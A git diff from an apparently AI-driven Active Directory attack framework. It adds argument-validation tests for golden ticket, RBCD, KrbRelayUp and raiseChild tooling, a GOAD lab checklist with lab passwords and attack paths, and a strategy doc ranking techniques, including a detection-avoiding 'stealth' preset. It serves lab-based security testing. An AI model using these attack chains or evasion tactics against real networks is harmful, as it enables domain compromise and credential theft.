test_golden_ticket_extra_sid_optional() { + let args = json!({ + "krbtgt_hash": "31d6cfe0d16ae931b73c59d7e0c089c0", + "domain_sid": "S-1-5-21-1234567890-987654321-1122334455", + "domain": "contoso.local", + "extra_sid": "S-1-5-21-0000000000-000000000-000000000-519" + }); + assert_eq!( + optional_str(&args, "extra_sid"), + Some("S-1-5-21-0000000000-000000000-000000000-519") + ); + } + + #[test] + fn test_golden_ticket_extra_sid_absent() { + let args = json!({ + "krbtgt_hash": "31d6cfe0d16ae931b73c59d7e0c089c0", + "domain_sid": "S-1-5-21-1234567890-987654321-1122334455", + "domain": "contoso.local" + }); + assert!(optional_str(&args, "extra_sid").is_none()); + } + + // ── add_computer arg validation ──────────────────────────────────── + + #[test] + fn test_add_computer_all_required_args() { + let args = json!({ + "domain": "contoso.local", + "username": "jsmith", + "password": "P@ssw0rd!", + "computer_name": "EVIL$", + "computer_password": "CompP@ss123!", + "dc_ip": "192.168.58.10" + }); + assert_eq!(required_str(&args, "computer_name").unwrap(), "EVIL$"); + assert_eq!( + required_str(&args, "computer_password").unwrap(), + "CompP@ss123!" + ); + // Verify the target string format + let domain = required_str(&args, "domain").unwrap(); + let username = required_str(&args, "username").unwrap(); + let password = required_str(&args, "password").unwrap(); + let target = format!("{domain}/{username}:{password}"); + assert_eq!(target, "contoso.local/jsmith:P@ssw0rd!"); + } + + #[test] + fn test_add_computer_missing_computer_name() { + let args = json!({ + "domain": "contoso.local", + "username": "jsmith", + "password": "P@ssw0rd!", + "computer_password": "CompP@ss123!", + "dc_ip": "192.168.58.10" + }); + assert!(required_str(&args, "computer_name").is_err()); + } + + // ── addspn arg validation ────────────────────────────────────────── + + #[test] + fn test_addspn_all_required_args() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "action": "add", + "target_account": "svc_sql", + "spn": "MSSQLSvc/sql01.contoso.local:1433" + }); + assert_eq!(required_str(&args, "action").unwrap(), "add"); + assert_eq!(required_str(&args, "target_account").unwrap(), "svc_sql"); + assert_eq!( + required_str(&args, "spn").unwrap(), + "MSSQLSvc/sql01.contoso.local:1433" + ); + } + + #[test] + fn test_addspn_missing_spn() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "action": "add", + "target_account": "svc_sql" + }); + assert!(required_str(&args, "spn").is_err()); + } + + // ── rbcd_write arg validation ────────────────────────────────────── + + #[test] + fn test_rbcd_write_all_args() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "target_computer": "dc01$", + "attacker_sid": "S-1-5-21-1234567890-987654321-1122334455-1234", + "dc_ip": "192.168.58.10" + }); + assert_eq!(required_str(&args, "target_computer").unwrap(), "dc01$"); + assert_eq!( + required_str(&args, "attacker_sid").unwrap(), + "S-1-5-21-1234567890-987654321-1122334455-1234" + ); + // Verify target format + let domain = required_str(&args, "domain").unwrap(); + let username = required_str(&args, "username").unwrap(); + let password = required_str(&args, "password").unwrap(); + let target = format!("{domain}/{username}:{password}"); + assert_eq!(target, "contoso.local/admin:P@ssw0rd!"); + } + + #[test] + fn test_rbcd_write_missing_attacker_sid() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "target_computer": "dc01$", + "dc_ip": "192.168.58.10" + }); + assert!(required_str(&args, "attacker_sid").is_err()); + } + + // ── krbrelayup arg validation ────────────────────────────────────── + + #[test] + fn test_krbrelayup_required_args_only() { + let args = json!({ + "domain": "contoso.local", + "dc_ip": "192.168.58.10" + }); + assert_eq!(required_str(&args, "domain").unwrap(), "contoso.local"); + assert_eq!(required_str(&args, "dc_ip").unwrap(), "192.168.58.10"); + assert!(optional_str(&args, "method").is_none()); + assert!(optional_str(&args, "create_user").is_none()); + assert!(optional_str(&args, "create_password").is_none()); + } + + #[test] + fn test_krbrelayup_with_optional_args() { + let args = json!({ + "domain": "contoso.local", + "dc_ip": "192.168.58.10", + "method": "rbcd", + "create_user": "eviluser", + "create_password": "Ev1lP@ss!" + }); + assert_eq!(optional_str(&args, "method"), Some("rbcd")); + assert_eq!(optional_str(&args, "create_user"), Some("eviluser")); + } + + // ── raise_child arg validation ───────────────────────────────────── + + #[test] + fn test_raise_child_requires_child_domain() { + let args = json!({ + "username": "admin", + "password": "P@ssw0rd!" + }); + assert!(required_str(&args, "child_domain").is_err()); + } + + #[test] + fn test_raise_child_no_auth_errors() { + let args = json!({ + "child_domain": "child.contoso.local", + "username": "admin" + }); + let rt = tokio::runtime::Runtime::new().unwrap(); + let result = rt.block_on(super::raise_child(&args)); + assert!(result.is_err()); + assert!(result + .unwrap_err() + .to_string() + .contains("password' or 'hash'")); + } + + #[test] + fn test_raise_child_with_password_target_format() { + let args = json!({ + "child_domain": "child.contoso.local", + "username": "admin", + "password": "P@ssw0rd!" + }); + let child_domain = required_str(&args, "child_domain").unwrap(); + let username = required_str(&args, "username").unwrap(); + let password = optional_str(&args, "password").unwrap(); + let target = format!("{child_domain}/{username}:{password}"); + assert_eq!(target, "child.contoso.local/admin:P@ssw0rd!"); + } + + #[test] + fn test_raise_child_with_hash_target_format() { + let args = json!({ + "child_domain": "child.contoso.local", + "username": "admin", + "hash": "31d6cfe0d16ae931b73c59d7e0c089c0" + }); + let child_domain = required_str(&args, "child_domain").unwrap(); + let username = required_str(&args, "username").unwrap(); + let hash = optional_str(&args, "hash").unwrap(); + let target = format!("{child_domain}/{username}"); + let hash_args = credentials::hash_args(hash); + assert_eq!(target, "child.contoso.local/admin"); + assert_eq!( + hash_args, + vec!["-hashes", ":31d6cfe0d16ae931b73c59d7e0c089c0"] + ); + } + + #[test] + fn test_raise_child_target_domain_optional() { + let args = json!({ + "child_domain": "child.contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "target_domain": "contoso.local" + }); + assert_eq!(optional_str(&args, "target_domain"), Some("contoso.local")); + } + + // ── credential helper tests ──────────────────────────────────────── + + #[test] + fn test_hash_args_with_nt_only() { + let hash_args = credentials::hash_args("31d6cfe0d16ae931b73c59d7e0c089c0"); + assert_eq!(hash_args[0], "-hashes"); + assert_eq!(hash_args[1], ":31d6cfe0d16ae931b73c59d7e0c089c0"); + } + + #[test] + fn test_hash_args_with_lm_nt() { + let hash_args = credentials::hash_args( + "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", + ); + assert_eq!(hash_args[0], "-hashes"); + assert_eq!( + hash_args[1], + "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" + ); + } + + #[test] + fn test_impacket_auth_with_hash() { + let (target, extra) = credentials::impacket_auth( + Some("contoso.local"), + "admin", + None, + Some("31d6cfe0d16ae931b73c59d7e0c089c0"), + "192.168.58.10", + ); + assert_eq!(target, "contoso.local/admin@192.168.58.10"); + assert_eq!(extra, vec!["-hashes", ":31d6cfe0d16ae931b73c59d7e0c089c0"]); + } + + #[test] + fn test_impacket_auth_with_password() { + let (target, extra) = credentials::impacket_auth( + Some("contoso.local"), + "admin", + Some("P@ssw0rd!"), + None, + "192.168.58.10", + ); + assert_eq!(target, "contoso.local/admin:P@ssw0rd!@192.168.58.10"); + assert!(extra.is_empty()); + } + + #[test] + fn test_kerberos_env() { + let (key, val) = credentials::kerberos_env("/tmp/admin.ccache"); + assert_eq!(key, "KRB5CCNAME"); + assert_eq!(val, "/tmp/admin.ccache"); + } +} diff --git a/config/ares.yaml b/config/ares.yaml index 5c1d4018..a2fe5d4b 100644 --- a/config/ares.yaml +++ b/config/ares.yaml @@ -26,6 +26,36 @@ operation: # stop_on_domain_admin: true stop_on_golden_ticket: false + # Strategy controls which attack techniques the operator prioritises. + # Presets: "fast" (default), "comprehensive", "stealth" + # fast — shortest path to DA (secretsdump → golden ticket) + # comprehensive — exploit ALL discovered vulns, don't stop on first DA + # stealth — avoid noisy techniques (no sprays, deprioritise secretsdump) + strategy: comprehensive + + # Keep exploiting after Domain Admin is achieved. + continue_after_da: true + + # Force alternative paths: block the fast secretsdump chain + exclude_techniques: [] + + # If non-empty, ONLY these techniques are allowed (allowlist mode). + # include_techniques: [] + + # Per-technique priority overrides (lower = higher priority, 1-10). + # Merged on top of the preset defaults. Overrides vulnerability_priorities below. + technique_weights: + esc1: 1 + esc4: 1 + acl_abuse: 1 + constrained_delegation: 2 + unconstrained_delegation: 2 + mssql_access: 3 + + # LLM temperature override (0.0-2.0). Higher values = more creative technique + # selection. None/omit = provider default. + # llm_temperature: 1.0 + # Agent configurations agents: orchestrator: diff --git a/docs/goad-checklist.md b/docs/goad-checklist.md new file mode 100644 index 00000000..8f223368 --- /dev/null +++ b/docs/goad-checklist.md @@ -0,0 +1,393 @@ +# GOAD Deployment & Attack Readiness Checklist + +Comprehensive tracking checklist for GOAD lab provisioning, user/group creation, vulnerability configuration, and attack surface validation. + +--- + +## 1. Infrastructure & Domain Setup + +### Hosts + +- [ ] DC01 (kingslanding) - sevenkingdoms.local Domain Controller (parent) +- [ ] DC02 (winterfell) - north.sevenkingdoms.local Domain Controller (child) +- [ ] DC03 (meereen) - essos.local Domain Controller +- [ ] SRV02 (castelblack) - north.sevenkingdoms.local Member Server +- [ ] SRV03 (braavos) - essos.local Member Server + +### Domains & Trusts + +- [ ] sevenkingdoms.local forest root created +- [ ] north.sevenkingdoms.local child domain created +- [ ] essos.local forest root created +- [ ] Bidirectional forest trust: sevenkingdoms.local <-> essos.local +- [ ] Parent-child trust: sevenkingdoms.local <-> north.sevenkingdoms.local + +### Services per Host + +- [ ] DC01: ADCS, Defender ON +- [ ] DC02: LLMNR, NBT-NS, SMB shares, Defender ON +- [ ] DC03: ADCS custom templates, LAPS DC, NTLM downgrade, Defender ON +- [ ] SRV02: IIS, MSSQL (+SSMS), WebDAV, SMB shares, Defender OFF +- [ ] SRV03: MSSQL, WebDAV, LAPS, SMB shares, RunAsPPL, Defender ON + +--- + +## 2. Users + +### sevenkingdoms.local Users + +- [ ] robert.baratheon / `iamthekingoftheworld` - Baratheon, Domain Admins, Small Council, Protected Users +- [ ] cersei.lannister / `il0vejaime` - Lannister, Baratheon, Domain Admins, Small Council +- [ ] tywin.lannister / `powerkingftw135` - Lannister +- [ ] jaime.lannister / `cersei` - Lannister +- [ ] tyron.lannister / `Alc00L&S3x` - Lannister +- [ ] joffrey.baratheon / `1killerlion` - Baratheon, Lannister +- [ ] renly.baratheon / `lorastyrell` - Baratheon, Small Council (sensitive, cannot be delegated) +- [ ] stannis.baratheon / `Drag0nst0ne` - Baratheon, Small Council +- [ ] petyer.baelish / `@littlefinger@` - Small Council +- [ ] lord.varys / `_W1sper_$` - Small Council +- [ ] maester.pycelle / `MaesterOfMaesters` - Small Council + +### north.sevenkingdoms.local Users + +- [ ] eddard.stark / `FightP3aceAndHonor!` - Stark, Domain Admins +- [ ] catelyn.stark / `robbsansabradonaryarickon` - Stark +- [ ] robb.stark / `sexywolfy` - Stark (autologon creds on DC02) +- [ ] arya.stark / `Needle` - Stark +- [ ] sansa.stark / `345ertdfg` - Stark +- [ ] brandon.stark / `iseedeadpeople` - Stark +- [ ] rickon.stark / `Winter2022` - Stark +- [ ] hodor / `hodor` - Stark +- [ ] jon.snow / `iknownothing` - Stark, Night Watch +- [ ] samwell.tarly / `Heartsbane` - Night Watch +- [ ] jeor.mormont / `_L0ngCl@w_` - Night Watch, Mormont +- [ ] sql_svc / `YouWillNotKerboroast1ngMeeeeee` - (NORTH) + +### essos.local Users + +- [ ] daenerys.targaryen / `BurnThemAll!` - Targaryen, Domain Admins +- [ ] viserys.targaryen / `GoldCrown` - Targaryen +- [ ] khal.drogo / `horse` - Dothraki +- [ ] jorah.mormont / `H0nnor!` - Targaryen +- [ ] missandei / `fr3edom` +- [ ] drogon / `Dracarys` - Dragons +- [ ] sql_svc / `YouWillNotKerboroast1ngMeeeeee` - (ESSOS) + +### gMSA Accounts + +- [ ] gmsaDragon / gmsaDragon.essos.local - SPNs: HTTP/braavos, HTTP/braavos.essos.local + +--- + +## 3. Groups + +### sevenkingdoms.local Groups + +- [ ] Lannister (Global, managed by tywin.lannister) +- [ ] Baratheon (Global, managed by robert.baratheon) +- [ ] Small Council (Global) +- [ ] DragonStone (Global) +- [ ] KingsGuard (Global) +- [ ] DragonRider (Global) +- [ ] AcrossTheNarrowSea (Domain Local) + +### north.sevenkingdoms.local Groups + +- [ ] Stark (Global, managed by eddard.stark) +- [ ] Night Watch (Global, managed by jeor.mormont) +- [ ] Mormont (Global, managed by jeor.mormont) +- [ ] AcrossTheSea (Domain Local) + +### essos.local Groups + +- [ ] Targaryen (Global, managed by viserys.targaryen) +- [ ] Dothraki (Global, managed by khal.drogo) +- [ ] Dragons (Global) +- [ ] QueenProtector (Global, members: Dragons -> Domain Admins) +- [ ] DragonsFriends (Domain Local, managed by daenerys.targaryen) +- [ ] Spys (Domain Local, LAPS reader) + +### Cross-Domain Memberships + +- [ ] DragonsFriends contains sevenkingdoms.local\tyron.lannister +- [ ] DragonsFriends contains essos.local\daenerys.targaryen +- [ ] Spys contains sevenkingdoms.local\Small Council +- [ ] AcrossTheNarrowSea (sevenkingdoms) contains essos.local\daenerys.targaryen + +--- + +## 4. ACL Attack Paths + +### sevenkingdoms.local ACL Chain + +- [ ] tywin.lannister --ForceChangePassword--> jaime.lannister +- [ ] jaime.lannister --GenericWrite--> joffrey.baratheon +- [ ] joffrey.baratheon --WriteDacl--> tyron.lannister +- [ ] tyron.lannister --Self-Membership--> Small Council +- [ ] Small Council --WriteMembership--> DragonStone +- [ ] DragonStone --WriteOwner--> KingsGuard +- [ ] KingsGuard --GenericAll--> stannis.baratheon +- [ ] stannis.baratheon --GenericAll--> kingslanding$ (DC01) +- [ ] lord.varys --GenericAll--> Domain Admins +- [ ] AcrossTheNarrowSea --GenericAll--> kingslanding$ (DC01) +- [ ] renly.baratheon --WriteDACL--> OU=Crownlands + +### north.sevenkingdoms.local ACL + +- [ ] NT AUTHORITY\ANONYMOUS LOGON --ReadProperty + GenericExecute--> DC=North (anonymous enumeration) + +### essos.local ACL Chain + +- [ ] khal.drogo --GenericAll--> viserys.targaryen +- [ ] Spys --GenericAll--> jorah.mormont +- [ ] khal.drogo --GenericAll--> ESC4 certificate template +- [ ] viserys.targaryen --WriteProperty--> jorah.mormont +- [ ] DragonsFriends --GenericWrite--> braavos$ (SRV03) +- [ ] missandei --GenericAll--> khal.drogo +- [ ] gmsaDragon$ --GenericAll--> drogon + +--- + +## 5. Credential Discovery Vulnerabilities + +- [ ] Password in description field: samwell.tarly (`Heartsbane`) +- [ ] Username=password: hodor / `hodor` +- [ ] Username=password: localuser (across all three domains) +- [ ] Weak password policy in NORTH domain (no complexity, 5-attempt lockout) +- [ ] Cross-domain password reuse: localuser with Domain Admin privs +- [ ] NULL session access on WINTERFELL DC + +--- + +## 6. Network Poisoning & Relay Vulnerabilities + +### LLMNR/NBT-NS Poisoning + +- [ ] Scheduled task on Winterfell: robb.stark connects to non-existent share every 1 minute (Ansible role: `roles/vulns/responder`) +- [ ] robb.stark password (`sexywolfy`) crackable with rockyou.txt +- [ ] robb.stark is local admin on Winterfell + +### NTLM Relay + +- [ ] Scheduled task on Kingslanding: eddard.stark (Domain Admin) connects to non-existent share every 5 minutes (Ansible role: `roles/vulns/ntlm_relay`) +- [ ] SMB signing disabled on CASTELBLACK (SRV02) - "signing enabled but not required" +- [ ] SMB signing disabled on BRAAVOS (SRV03) - "message signing disabled" + +### Other Network Attacks + +- [ ] NTLMv1 downgrade possible (DC03 meereen config) +- [ ] LDAP signing not enforced +- [ ] IPv6/DHCPv6 poisoning possible (MITM6) +- [ ] CVE-2019-1040 (Remove-MIC) NTLM bypass + +--- + +## 7. Kerberos Attack Vulnerabilities + +### AS-REP Roasting + +- [ ] brandon.stark - DoesNotRequirePreAuth enabled, password: `iseedeadpeople` +- [ ] missandei - DoesNotRequirePreAuth enabled + +### Kerberoasting + +- [ ] jon.snow - SPNs: CIFS/HTTP services, password: `iknownothing` +- [ ] sansa.stark - SPN: HTTP/eyrie.north.sevenkingdoms.local (unconstrained delegation) +- [ ] sql_svc (NORTH) - SPN: MSSQLSvc/castelblack:1433, password: `YouWillNotKerboroast1ngMeeeeee` +- [ ] sql_svc (ESSOS) - SPN: MSSQLSvc/braavos:1433, password: `YouWillNotKerboroast1ngMeeeeee` + +### Delegation + +- [ ] Unconstrained delegation: sansa.stark +- [ ] Constrained delegation: jon.snow (with protocol transition) +- [ ] Machine Account Quota (MAQ) = 10 on all domains +- [ ] RBCD attack path: stannis.baratheon -> kingslanding$ via GenericAll + +--- + +## 8. ADCS Vulnerabilities + +### ADCS Infrastructure + +- [ ] ADCS installed on DC01 (kingslanding) +- [ ] ADCS custom templates on DC03 (meereen) +- [ ] ADCS on SRV03 (braavos) with Web Enrollment + +### ESC Vulnerabilities + +- [ ] ESC1 - Enrollee Supplies Subject (template allows SAN specification) +- [ ] ESC2 - Any Purpose EKU template +- [ ] ESC3 - Certificate Request Agent template +- [ ] ESC4 - Vulnerable template ACL (khal.drogo has GenericAll on template) +- [ ] ESC5 - Golden Certificate / PKI Object Access Control +- [ ] ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA +- [ ] ESC7 - ManageCA/ManageCertificate abuse +- [ ] ESC8 - NTLM Relay to AD CS HTTP Endpoints (Web Enrollment on braavos) +- [ ] ESC9 - UPN Spoofing with No Security Extension +- [ ] ESC10 - Weak Certificate Mapping +- [ ] ESC11 - RPC Encryption Weakness (ICPR without encryption) +- [ ] ESC13 - Group Membership via Issuance Policy +- [ ] ESC14 - AltSecurityIdentities Manipulation +- [ ] ESC15 (CVE-2024-49019) - Certificate Request Agent Abuse + +### Other ADCS Attacks + +- [ ] Certifried (CVE-2022-26923) - Computer account DNS hostname spoofing +- [ ] Shadow Credentials via GenericWrite/GenericAll on user/computer objects + +--- + +## 9. MSSQL Vulnerabilities + +### MSSQL Services + +- [ ] MSSQL running on SRV02 (castelblack) - SA password: `Sup1_sa_P@ssw0rd!` +- [ ] MSSQL running on SRV03 (braavos) - SA password: `sa_P@ssw0rd!Ess0s` + +### Linked Servers + +- [ ] castelblack -> braavos (jon.snow -> sa, password: `sa_P@ssw0rd!Ess0s`) +- [ ] braavos -> castelblack (khal.drogo -> sa, password: `Sup1_sa_P@ssw0rd!`) + +### Impersonation + +- [ ] SRV02: samwell.tarly can impersonate sa +- [ ] SRV02: brandon.stark can impersonate jon.snow +- [ ] SRV02: arya.stark can impersonate dbo (master), dbo (msdb) +- [ ] SRV03: jorah.mormont can impersonate sa + +### Sysadmins + +- [ ] SRV02: NORTH\jon.snow is sysadmin +- [ ] SRV03: ESSOS\khal.drogo is sysadmin + +### MSSQL Attack Vectors + +- [ ] NTLM coercion via xp_dirtree / xp_fileexist +- [ ] xp_cmdshell for OS command execution +- [ ] Trustworthy database setting for impersonation escalation +- [ ] Cross-domain pivoting via linked servers + +--- + +## 10. Privilege Escalation Vulnerabilities + +- [ ] SeImpersonatePrivilege on IIS (SRV02) and MSSQL service accounts +- [ ] IIS upload vulnerability on SRV02 (192.168.56.22) - web shell upload +- [ ] PrintSpoofer / SweetPotato / BadPotato for SeImpersonate -> SYSTEM +- [ ] KrbRelayUp (Kerberos relay when LDAP signing not enforced) +- [ ] AMSI bypass possible (string fragmentation + .NET patching) +- [ ] In-memory .NET assembly execution (PowerSharpPack, Invoke-SharpLoader) +- [ ] Print Spooler service enabled (coercion + CVE vector) +- [ ] SCMUACBypass for medium -> high integrity + +--- + +## 11. Lateral Movement Prerequisites + +### Credential Extraction Points + +- [ ] SAM database dump from compromised hosts +- [ ] LSA Secrets / cached domain credentials +- [ ] LSASS process dump (lsassy, mimikatz) +- [ ] LAPS password reading (jorah.mormont is LAPS reader, Spys group) + +### Movement Techniques Available + +- [ ] Pass-the-Hash (PTH) via SMB/WMI +- [ ] Over-Pass-the-Hash (NTLM -> Kerberos TGT) +- [ ] Pass-the-Ticket (extracted Kerberos tickets) +- [ ] Evil-WinRM (port 5985/5986) +- [ ] RDP with Restricted Admin +- [ ] Impacket remote execution (psexec, wmiexec, smbexec, atexec, dcomexec) +- [ ] Certificate-based authentication (certipy) + +### Local Admin Access Map + +- [ ] DC01: robert.baratheon, cersei.lannister +- [ ] DC02: eddard.stark, catelyn.stark, robb.stark +- [ ] SRV02: jeor.mormont +- [ ] DC03: daenerys.targaryen +- [ ] SRV03: khal.drogo + +--- + +## 12. Domain Trust Exploitation + +### Child-to-Parent Escalation + +- [ ] Golden Ticket + ExtraSid (north -> sevenkingdoms via krbtgt + Enterprise Admins SID-519) +- [ ] Trust Ticket / Inter-Realm TGT (trust key extraction) +- [ ] raiseChild.py automated escalation +- [ ] Unconstrained delegation on DCs for parent DC TGT capture + +### Forest-to-Forest Exploitation + +- [ ] Password reuse across forests (NTDS dump + spray) +- [ ] Foreign group/user exploitation (cross-forest memberships) +- [ ] SID History abuse (golden tickets with foreign SIDs, RID >1000) +- [ ] MSSQL trusted links for cross-forest pivoting + +--- + +## 13. CVE Exploits + +- [ ] CVE-2021-42287 / CVE-2021-42278 (noPac / SamAccountName Spoofing) - computer account manipulation -> DCSync +- [ ] CVE-2021-1675 (PrintNightmare) - Print Spooler DLL injection -> SYSTEM +- [ ] CVE-2022-26923 (Certifried) - computer DNS hostname spoofing -> DC impersonation +- [ ] CVE-2024-49019 (ESC15) - Certificate Request Agent abuse +- [ ] CVE-2019-1040 (Remove-MIC) - NTLM MIC removal bypass for relay +- [ ] CVE-2020-1472 (ZeroLogon) - Netlogon bypass (patched in hardened GOAD) + +--- + +## 14. User-Level / Coercion Attacks + +### File-Based Coercion + +- [ ] .lnk shortcut files (UNC path resolution -> hash capture) +- [ ] .scf shell command files (authentication trigger) +- [ ] .url internet shortcut files (UNC path -> hash capture) + +### WebDAV-Based Coercion + +- [ ] .searchConnector-ms files on accessible shares +- [ ] WebClient service on workstations (HTTP-based auth bypass SMB signing) +- [ ] HTTP-to-LDAP relay for shadow credentials / RBCD + +### Post-Exploitation + +- [ ] Token impersonation (delegation/impersonation tokens) +- [ ] RDP session hijacking via tscon.exe (Server 2016) + +--- + +## 15. Scheduled Tasks & Bot Configurations + +| Config | Host | User | Frequency | Ansible Role | +|--------|------|------|-----------|--------------| +| [ ] Non-existent share connection | Winterfell | robb.stark | Every 1 min | roles/vulns/responder | +| [ ] Non-existent share connection | Kingslanding | eddard.stark (DA) | Every 5 min | roles/vulns/ntlm_relay | + +--- + +## Validation Summary + +| Category | Check Count | Status | +|----------|-------------|--------| +| Infrastructure & Domains | 15 | | +| Users (all domains) | 31 | | +| Groups & Memberships | 21 | | +| ACL Attack Paths | 18 | | +| Credential Discovery | 6 | | +| Network Poisoning & Relay | 10 | | +| Kerberos Attacks | 10 | | +| ADCS (ESC1-15 + others) | 19 | | +| MSSQL | 14 | | +| Privilege Escalation | 8 | | +| Lateral Movement | 18 | | +| Domain Trust Exploitation | 8 | | +| CVE Exploits | 6 | | +| User-Level / Coercion | 8 | | +| Scheduled Tasks | 2 | | +| **Total** | **~194** | | diff --git a/docs/strategy.md b/docs/strategy.md new file mode 100644 index 00000000..0e875960 --- /dev/null +++ b/docs/strategy.md @@ -0,0 +1,345 @@ + + +# Attack Strategy Configuration + +Controls which attack techniques the operator prioritises, how it handles +Domain Admin achievement, and whether alternative paths are explored or +ignored. + +## Quick Reference + +| Goal | Config | +|------|--------| +| Reproduce the fast deterministic path (default) | `strategy: fast` or omit entirely | +| Explore all discovered attack paths | `strategy: comprehensive` | +| Avoid noisy techniques (spray, secretsdump) | `strategy: stealth` | +| Force ADCS-only path | `exclude_techniques: [secretsdump, dc_secretsdump]` + `technique_weights: {esc1: 1}` | +| Force ACL chain path | `exclude_techniques: [secretsdump, dc_secretsdump, mssql_access]` + `technique_weights: {acl_abuse: 1}` | +| Keep exploiting after DA | `continue_after_da: true` | + +## How It Works + +Every attack technique has a **weight** (1-10, lower = higher priority). When +multiple vulnerabilities are discovered simultaneously, the one with the lowest +weight gets exploited first. This is what makes the operator deterministic -- +the same weight ordering produces the same attack path every time, given the +same environment. + +Weights are set in three layers, each overriding the previous: + +```text +Preset defaults (fast / comprehensive / stealth) + ↑ overridden by +YAML config (config/ares.yaml → operation.technique_weights) + ↑ overridden by +JSON payload (per-operation technique_weights in ARES_OPERATION_ID) + ↑ overridden by +Env vars (ARES_STRATEGY, ARES_EXCLUDE_TECHNIQUES, etc.) +``` + +For most use cases, the YAML config is the only layer you need. + +## Configuration + +All strategy settings live under `operation:` in `config/ares.yaml`: + +```yaml +operation: + # Named preset -- sets default weights for all techniques. + # Options: fast (default), comprehensive, stealth + strategy: fast + + # Keep exploiting after Domain Admin is achieved. + # comprehensive preset sets this automatically. + continue_after_da: false + + # Techniques to completely exclude (never dispatch). + exclude_techniques: [] + + # If non-empty, ONLY these techniques are allowed (allowlist mode). + # Everything else is suppressed. + include_techniques: [] + + # Per-technique priority overrides (1 = highest, 10 = lowest). + # Merged on top of the preset defaults. + technique_weights: + # secretsdump: 2 + # esc1: 5 +``` + +### Strategy Presets + +#### `fast` (default) + +Shortest path to Domain Admin. Prioritises secretsdump and trust escalation. +This is what produces the deterministic samwell -> jeor -> robb -> secretsdump +-> trust key -> MSSQL -> Golden Ticket chain in DreadGOAD. + +| Technique | Weight | Effect | +|-----------|--------|--------| +| dc_secretsdump | 1 | Fires immediately when DA hash is available | +| golden_ticket | 1 | Forged as soon as krbtgt is extracted | +| forest_trust_escalation | 1 | Cross-forest via trust key | +| child_to_parent | 1 | ExtraSid escalation | +| secretsdump | 2 | Hash dump on any host with admin creds | +| credential_reuse | 3 | Cross-domain hash reuse | +| mssql_access | 4 | MSSQL linked server pivots | +| password_spray | 4 | Username-as-password + common passwords | +| kerberoast | 5 | SPN-based hash extraction | +| asrep_roast | 5 | No-preauth account hash extraction | +| esc1 / esc4 / esc8 | 5 | ADCS certificate abuse | +| constrained_delegation | 5 | S4U2Self/S4U2Proxy | +| unconstrained_delegation | 5 | TGT capture via coercion | +| rbcd | 6 | Resource-based constrained delegation | +| acl_abuse | 6 | AD ACL chain exploitation | +| smb_signing_disabled | 7 | NTLM relay via unsigned SMB | + +Because secretsdump (weight 2) fires before ADCS (weight 5) or delegation +(weight 5), the fast path always wins the priority race. ADCS and delegation +vulns are *discovered* but never *exploited* because DA is achieved first. + +#### `comprehensive` + +All techniques have equal weight (3). The operator exploits everything it +finds, in whatever order discoveries arrive. `continue_after_da` is +automatically set to `true`. + +Use this when you want to: + +- Validate that all attack paths work end-to-end +- Maximise coverage for a security assessment report +- Test defenses against techniques that the fast path skips + +Per-cycle dispatch limits are also raised (2 -> 10 per technique category) +so multiple domains get work in parallel. + +#### `stealth` + +Suppresses noisy techniques. Prefers ADCS and ACL paths over secretsdump and +password spraying. + +| Technique | Weight | Rationale | +|-----------|--------|-----------| +| esc1 / esc4 | 1 | Certificate abuse is quiet | +| acl_abuse | 1 | ACL changes don't trigger most alerts | +| constrained_delegation | 2 | Kerberos-only, low noise | +| unconstrained_delegation | 2 | Coercion is brief | +| credential_reuse | 3 | Single auth attempt per target | +| dc_secretsdump | 6 | Secretsdump is loud | +| secretsdump | 7 | Very loud -- deprioritised | +| password_spray | 8 | Lockout risk, high log volume | +| smb_signing_disabled | 8 | Relay is noisy on the wire | + +## Technique Filtering + +### Exclude List + +Completely blocks listed techniques from being dispatched. Useful for forcing +the operator down alternative paths or honouring rules of engagement. + +```yaml +operation: + exclude_techniques: + - secretsdump + - dc_secretsdump + - password_spray +``` + +With secretsdump excluded, the operator is forced to find DA through ADCS, +delegation, ACL abuse, or MSSQL paths instead. + +### Include List (Allowlist Mode) + +If non-empty, **only** the listed techniques are allowed. Everything else is +suppressed. More restrictive than exclude. + +```yaml +operation: + include_techniques: + - esc1 + - esc4 + - esc8 + - acl_abuse +``` + +This would restrict the operator to ADCS and ACL paths only. + +### Available Technique Names + +These are the `vuln_type` strings used in exclude/include lists and weight +keys: + +| Technique | Description | +|-----------|-------------| +| `secretsdump` | Hash dump on member servers | +| `dc_secretsdump` | Hash dump on domain controllers | +| `golden_ticket` | Kerberos golden ticket forgery | +| `forest_trust_escalation` | Cross-forest trust key exploitation | +| `child_to_parent` | ExtraSid child-to-parent escalation | +| `credential_reuse` | Cross-domain hash reuse | +| `mssql_access` | MSSQL service exploitation | +| `mssql_linked_server` | MSSQL linked server pivoting | +| `mssql_impersonation` | MSSQL EXECUTE AS escalation | +| `constrained_delegation` | S4U2Self/S4U2Proxy abuse | +| `unconstrained_delegation` | TGT capture via coercion | +| `rbcd` | Resource-based constrained delegation | +| `esc1` | ADCS ESC1 (enrollee supplies SAN) | +| `esc4` | ADCS ESC4 (template owner can modify) | +| `esc8` | ADCS ESC8 (HTTP enrollment + relay) | +| `acl_abuse` | AD ACL chain exploitation | +| `kerberoast` | SPN-based hash extraction | +| `asrep_roast` | AS-REP roasting (no-preauth accounts) | +| `password_spray` | Password spraying / username-as-password | +| `gmsa` | Group Managed Service Account extraction | +| `smb_signing_disabled` | NTLM relay via unsigned SMB | + +## Completion Modes + +These interact with strategy but are configured separately: + +```yaml +operation: + # Stop immediately when Domain Admin is achieved (any domain). + # stop_on_domain_admin: true + + # Stop after golden ticket is forged AND all forests are dominated. + # This is stricter -- requires full trust chain completion. + stop_on_golden_ticket: true + + # Keep exploiting after DA. Overrides the above. + # comprehensive preset enables this automatically. + # continue_after_da: true +``` + +`stop_on_domain_admin` and `stop_on_golden_ticket` are mutually exclusive. +If both are false (default), the operation runs until all forest root DCs are +secretsdumped. + +`continue_after_da` overrides both stop conditions. When true, the operator +keeps discovering and exploiting vulnerabilities even after DA is achieved. + +## Examples + +### Default 